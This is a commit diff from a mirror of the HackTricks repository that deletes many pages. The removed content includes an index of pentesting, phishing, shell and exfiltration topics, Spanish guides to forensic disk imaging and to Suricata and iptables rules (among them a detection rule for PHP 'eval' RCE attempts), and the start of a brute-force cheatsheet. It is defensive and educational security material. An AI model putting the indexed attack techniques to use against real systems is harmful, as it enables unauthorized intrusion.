mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
F
This commit is contained in:
carlospolop
parent
8f0ad56604
commit
aa4e6ff6a2
44 changed files with 0 additions and 19938 deletions
43
SUMMARY.md
43
SUMMARY.md
|
|
@ -9,43 +9,19 @@
|
|||
|
||||
## 🤩 Generic Methodologies & Resources
|
||||
|
||||
* [Pentesting Methodology](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
* [External Recon Methodology](generic-methodologies-and-resources/external-recon-methodology/README.md)
|
||||
* [Wide Source Code Search](generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md)
|
||||
* [Github Dorks & Leaks](generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md)
|
||||
* [Pentesting Network](generic-methodologies-and-resources/pentesting-network/README.md)
|
||||
* [DHCPv6](generic-methodologies-and-resources/pentesting-network/dhcpv6.md)
|
||||
* [EIGRP Attacks](generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md)
|
||||
* [GLBP & HSRP Attacks](generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md)
|
||||
* [IDS and IPS Evasion](generic-methodologies-and-resources/pentesting-network/ids-evasion.md)
|
||||
* [Lateral VLAN Segmentation Bypass](generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md)
|
||||
* [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
* [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
* [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
* [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
* [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
* [Pentesting Wifi](generic-methodologies-and-resources/pentesting-wifi/README.md)
|
||||
* [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
|
||||
* [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
|
||||
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
|
||||
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
|
||||
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
|
||||
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
|
||||
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||
* [EXT](forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md)
|
||||
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
* [NTFS](forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md)
|
||||
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
|
||||
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
||||
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||
|
|
@ -62,25 +38,6 @@
|
|||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md)
|
||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
* [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
* [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
* [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
* [LOAD\_NAME / LOAD\_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load\_name-load\_const-opcode-oob-read.md)
|
||||
* [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md)
|
||||
* [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
|
||||
* [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
* [Exfiltration](generic-methodologies-and-resources/exfiltration.md)
|
||||
* [Tunneling and Port Forwarding](generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
* [Search Exploits](generic-methodologies-and-resources/search-exploits.md)
|
||||
* [Shells (Linux, Windows, MSFVenom)](generic-methodologies-and-resources/shells/README.md)
|
||||
* [MSFVenom - CheatSheet](generic-methodologies-and-resources/shells/msfvenom.md)
|
||||
* [Shells - Windows](generic-methodologies-and-resources/shells/windows.md)
|
||||
* [Shells - Linux](generic-methodologies-and-resources/shells/linux.md)
|
||||
* [Full TTYs](generic-methodologies-and-resources/shells/full-ttys.md)
|
||||
|
||||
## 🦅 Reversing & Exploiting
|
||||
|
||||
|
|
|
|||
|
|
@ -1,131 +0,0 @@
|
|||
# Adquisición e Instalación de Imágenes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Adquisición
|
||||
|
||||
### DD
|
||||
```bash
|
||||
#This will generate a raw copy of the disk
|
||||
dd if=/dev/sdb of=disk.img
|
||||
```
|
||||
### dcfldd
|
||||
|
||||
dcfldd es una herramienta de adquisición de imágenes forenses que se utiliza para crear imágenes bit a bit de dispositivos de almacenamiento. Es una versión mejorada de la herramienta dd y tiene algunas características adicionales, como la capacidad de mostrar el progreso de la imagen y la verificación de la imagen después de la creación.
|
||||
|
||||
dcfldd se puede utilizar para adquirir imágenes de discos duros, dispositivos USB, tarjetas SD y otros dispositivos de almacenamiento. También se puede utilizar para crear imágenes de particiones individuales en un disco duro.
|
||||
|
||||
Para utilizar dcfldd, primero debe instalarlo en su sistema. Luego, puede ejecutar el comando dcfldd con los parámetros adecuados para crear una imagen de un dispositivo de almacenamiento. Por ejemplo, para crear una imagen de un disco duro llamado /dev/sda y guardarla en un archivo llamado imagen.dd, puede ejecutar el siguiente comando:
|
||||
|
||||
```
|
||||
dcfldd if=/dev/sda of=imagen.dd
|
||||
```
|
||||
|
||||
Una vez que se ha creado la imagen, se puede montar en un sistema de archivos para examinar su contenido.
|
||||
```bash
|
||||
#Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data)
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### FTK Imager
|
||||
|
||||
Puedes [**descargar FTK Imager desde aquí**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1).
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
### EWF
|
||||
|
||||
Puedes generar una imagen de disco usando las herramientas de **ewf**.
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
#Case number: 1
|
||||
#Description: A description for the case
|
||||
#Evidence number: 1
|
||||
#Examiner Name: Your name
|
||||
#Media type: fixed
|
||||
#Media characteristics: physical
|
||||
#File format: encase6
|
||||
#Compression method: deflate
|
||||
#Compression level: fast
|
||||
|
||||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## Montaje
|
||||
|
||||
### Varios tipos
|
||||
|
||||
En **Windows** puedes intentar usar la versión gratuita de Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) para **montar la imagen forense**.
|
||||
|
||||
### Raw
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.img
|
||||
evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Mount it
|
||||
mount evidence.img /mnt
|
||||
```
|
||||
### EWF
|
||||
|
||||
EWF (Expert Witness Compression Format) es un formato de imagen forense que permite la compresión de imágenes forenses sin pérdida de datos. EWF es compatible con varias herramientas forenses y es especialmente útil para la adquisición de imágenes de discos duros grandes. EWF también permite la creación de imágenes segmentadas, lo que significa que una imagen grande se divide en varias partes más pequeñas para facilitar su manejo.
|
||||
```bash
|
||||
#Get file type
|
||||
file evidence.E01
|
||||
evidence.E01: EWF/Expert Witness/EnCase image file format
|
||||
|
||||
#Transform to raw
|
||||
mkdir output
|
||||
ewfmount evidence.E01 output/
|
||||
file output/ewf1
|
||||
output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files)
|
||||
|
||||
#Mount
|
||||
mount output/ewf1 -o ro,norecovery /mnt
|
||||
```
|
||||
### ArsenalImageMounter
|
||||
|
||||
Es una aplicación de Windows para montar volúmenes. Puedes descargarla aquí [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
|
||||
### Errores
|
||||
|
||||
* **`cannot mount /dev/loop0 read-only`** en este caso necesitas usar las banderas **`-o ro,norecovery`**
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** en este caso el montaje falló debido a que el desplazamiento del sistema de archivos es diferente al de la imagen del disco. Necesitas encontrar el tamaño del sector y el sector de inicio:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
Disklabel type: dos
|
||||
Disk identifier: 0x00495395
|
||||
|
||||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
Ten en cuenta que el tamaño del sector es **512** y el inicio es **2048**. Luego monta la imagen de la siguiente manera:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
File diff suppressed because it is too large
Load diff
|
|
@ -1,242 +0,0 @@
|
|||
# Cheatsheet de Suricata e Iptables
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Iptables
|
||||
|
||||
### Cadenas
|
||||
|
||||
Las cadenas de Iptables son simplemente listas de reglas, procesadas en orden. Siempre encontrarás las siguientes 3, pero otras como NAT también pueden ser compatibles.
|
||||
|
||||
* **Input** - Esta cadena se utiliza para controlar el comportamiento de las conexiones entrantes.
|
||||
* **Forward** - Esta cadena se utiliza para conexiones entrantes que no se entregan localmente. Piensa en un enrutador: los datos siempre se envían a él, pero rara vez están destinados al enrutador en sí; los datos se reenvían a su destino. A menos que estés haciendo algún tipo de enrutamiento, NAT o algo más en tu sistema que requiera reenvío, ni siquiera usarás esta cadena.
|
||||
* **Output** - Esta cadena se utiliza para conexiones salientes.
|
||||
```bash
|
||||
# Delete all rules
|
||||
iptables -F
|
||||
|
||||
# List all rules
|
||||
iptables -L
|
||||
iptables -S
|
||||
|
||||
# Block IP addresses & ports
|
||||
iptables -I INPUT -s ip1,ip2,ip3 -j DROP
|
||||
iptables -I INPUT -p tcp --dport 443 -j DROP
|
||||
iptables -I INPUT -s ip1,ip2 -p tcp --dport 443 -j DROP
|
||||
|
||||
# String based drop
|
||||
## Strings are case sensitive (pretty easy to bypass if you want to check an SQLi for example)
|
||||
iptables -I INPUT -p tcp --dport <port_listening> -m string --algo bm --string '<payload>' -j DROP
|
||||
iptables -I OUTPUT -p tcp --sport <port_listening> -m string --algo bm --string 'CTF{' -j DROP
|
||||
## You can also check for the hex, base64 and double base64 of the expected CTF flag chars
|
||||
|
||||
# Drop every input port except some
|
||||
iptables -P INPUT DROP # Default to drop
|
||||
iptables -I INPUT -p tcp --dport 8000 -j ACCEPT
|
||||
iptables -I INPUT -p tcp --dport 443 -j ACCEPT
|
||||
|
||||
|
||||
# Persist Iptables
|
||||
## Debian/Ubuntu:
|
||||
apt-get install iptables-persistent
|
||||
iptables-save > /etc/iptables/rules.v4
|
||||
ip6tables-save > /etc/iptables/rules.v6
|
||||
iptables-restore < /etc/iptables/rules.v4
|
||||
##RHEL/CentOS:
|
||||
iptables-save > /etc/sysconfig/iptables
|
||||
ip6tables-save > /etc/sysconfig/ip6tables
|
||||
iptables-restore < /etc/sysconfig/iptables
|
||||
```
|
||||
## Suricata
|
||||
|
||||
### Instalación y Configuración
|
||||
```bash
|
||||
# Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages
|
||||
# Ubuntu
|
||||
add-apt-repository ppa:oisf/suricata-stable
|
||||
apt-get update
|
||||
apt-get install suricata
|
||||
|
||||
# Debian
|
||||
echo "deb http://http.debian.net/debian buster-backports main" > \
|
||||
/etc/apt/sources.list.d/backports.list
|
||||
apt-get update
|
||||
apt-get install suricata -t buster-backports
|
||||
|
||||
# CentOS
|
||||
yum install epel-release
|
||||
yum install suricata
|
||||
|
||||
# Get rules
|
||||
suricata-update
|
||||
suricata-update list-sources #List sources of the rules
|
||||
suricata-update enable-source et/open #Add et/open rulesets
|
||||
suricata-update
|
||||
## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml
|
||||
default-rule-path: /var/lib/suricata/rules
|
||||
rule-files:
|
||||
- suricata.rules
|
||||
|
||||
# Run
|
||||
## Add rules in /etc/suricata/rules/suricata.rules
|
||||
systemctl suricata start
|
||||
suricata -c /etc/suricata/suricata.yaml -i eth0
|
||||
|
||||
|
||||
# Reload rules
|
||||
suricatasc -c ruleset-reload-nonblocking
|
||||
## or set the follogin in /etc/suricata/suricata.yaml
|
||||
detect-engine:
|
||||
- rule-reload: true
|
||||
|
||||
# Validate suricata config
|
||||
suricata -T -c /etc/suricata/suricata.yaml -v
|
||||
|
||||
# Configure suricata as IPs
|
||||
## Config drop to generate alerts
|
||||
## Search for the following lines in /etc/suricata/suricata.yaml and remove comments:
|
||||
- drop:
|
||||
alerts: yes
|
||||
flows: all
|
||||
|
||||
## Forward all packages to the queue where suricata can act as IPS
|
||||
iptables -I INPUT -j NFQUEUE
|
||||
iptables -I OUTPUT -j NFQUEUE
|
||||
|
||||
## Start suricata in IPS mode
|
||||
suricata -c /etc/suricata/suricata.yaml -q 0
|
||||
### or modify the service config file as:
|
||||
systemctl edit suricata.service
|
||||
|
||||
[Service]
|
||||
ExecStart=
|
||||
ExecStart=/usr/bin/suricata -c /etc/suricata/suricata.yaml --pidfile /run/suricata.pid -q 0 -vvv
|
||||
Type=simple
|
||||
|
||||
systemctl daemon-reload
|
||||
```
|
||||
### Definiciones de Reglas
|
||||
|
||||
Una regla/firma consiste en lo siguiente:
|
||||
|
||||
* La **acción**, determina lo que sucede cuando la firma coincide.
|
||||
* El **encabezado**, define el protocolo, las direcciones IP, los puertos y la dirección de la regla.
|
||||
* Las **opciones de la regla**, definen los detalles de la regla.
|
||||
|
||||
 (3).png>)
|
||||
|
||||
#### **Las acciones válidas son**
|
||||
|
||||
* alerta - generar una alerta
|
||||
* pass - detener la inspección adicional del paquete
|
||||
* **drop** - descartar el paquete y generar una alerta
|
||||
* **reject** - enviar un error RST/ICMP inalcanzable al remitente del paquete coincidente.
|
||||
* rejectsrc - lo mismo que _reject_
|
||||
* rejectdst - enviar un paquete de error RST/ICMP al receptor del paquete coincidente.
|
||||
* rejectboth - enviar paquetes de error RST/ICMP a ambos lados de la conversación.
|
||||
|
||||
#### **Protocolos**
|
||||
|
||||
* tcp (para tráfico tcp)
|
||||
* udp
|
||||
* icmp
|
||||
* ip (ip significa "todos" o "cualquier")
|
||||
* _protocolos de capa 7_: http, ftp, tls, smb, dns, ssh... (más en la [**documentación**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
|
||||
#### Direcciones de origen y destino
|
||||
|
||||
Admite rangos de direcciones IP, negaciones y una lista de direcciones:
|
||||
|
||||
| Ejemplo | Significado |
|
||||
| ------------------------------ | ---------------------------------------- |
|
||||
| ! 1.1.1.1 | Cualquier dirección IP excepto 1.1.1.1 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | Cualquier dirección IP excepto 1.1.1.1 y 1.1.1.2 |
|
||||
| $HOME\_NET | Su configuración de HOME\_NET en yaml |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET y no HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 excepto por 10.0.0.5 |
|
||||
|
||||
#### Puertos de origen y destino
|
||||
|
||||
Admite rangos de puertos, negaciones y listas de puertos
|
||||
|
||||
| Ejemplo | Significado |
|
||||
| --------------- | -------------------------------------- |
|
||||
| any | cualquier dirección |
|
||||
| \[80, 81, 82] | puerto 80, 81 y 82 |
|
||||
| \[80: 82] | Rango desde 80 hasta 82 |
|
||||
| \[1024: ] | Desde 1024 hasta el número de puerto más alto |
|
||||
| !80 | Cualquier puerto excepto 80 |
|
||||
| \[80:100,!99] | Rango de 80 a 100 pero excluyendo el 99 |
|
||||
| \[1:80,!\[2,4]] | Rango de 1 a 80, excepto los puertos 2 y 4 |
|
||||
|
||||
#### Dirección
|
||||
|
||||
Es posible indicar la dirección de la regla de comunicación que se está aplicando:
|
||||
```
|
||||
source -> destination
|
||||
source <> destination (both directions)
|
||||
```
|
||||
#### Palabras clave
|
||||
|
||||
Hay **cientos de opciones** disponibles en Suricata para buscar el **paquete específico** que estás buscando, aquí se mencionará si se encuentra algo interesante. ¡Consulta la [**documentación**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) para más información!
|
||||
```bash
|
||||
# Meta Keywords
|
||||
msg: "description"; #Set a description to the rule
|
||||
sid:123 #Set a unique ID to the rule
|
||||
rev:1 #Rule revision number
|
||||
config classification: not-suspicious,Not Suspicious Traffic,3 #Classify
|
||||
reference: url, www.info.com #Reference
|
||||
priority:1; #Set a priority
|
||||
metadata: key value, key value; #Extra metadata
|
||||
|
||||
# Filter by geolocation
|
||||
geoip: src,RU;
|
||||
|
||||
# ICMP type & Code
|
||||
itype:<10;
|
||||
icode:0
|
||||
|
||||
# Filter by string
|
||||
content: "something"
|
||||
content: |61 61 61| #Hex: AAA
|
||||
content: "http|3A|//" #Mix string and hex
|
||||
content: "abc"; nocase; #Case insensitive
|
||||
reject tcp any any -> any any (msg: "php-rce"; content: "eval"; nocase; metadata: tag php-rce; sid:101; rev: 1;)
|
||||
|
||||
# Replaces string
|
||||
## Content and replace string must have the same length
|
||||
content:"abc"; replace: "def"
|
||||
alert tcp any any -> any any (msg: "flag replace"; content: "CTF{a6st"; replace: "CTF{u798"; nocase; sid:100; rev: 1;)
|
||||
## The replace works in both input and output packets
|
||||
## But it only modifies the first match
|
||||
|
||||
# Filter by regex
|
||||
pcre:"/<regex>/opts"
|
||||
pcre:"/NICK .*USA.*[0-9]{3,}/i"
|
||||
drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
|
||||
|
||||
# Other examples
|
||||
## Drop by port
|
||||
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,937 +0,0 @@
|
|||
# Fuerza Bruta - Hoja de trucos
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Credenciales predeterminadas
|
||||
|
||||
**Busque en Google** las credenciales predeterminadas de la tecnología que se está utilizando, o **pruebe estos enlaces**:
|
||||
|
||||
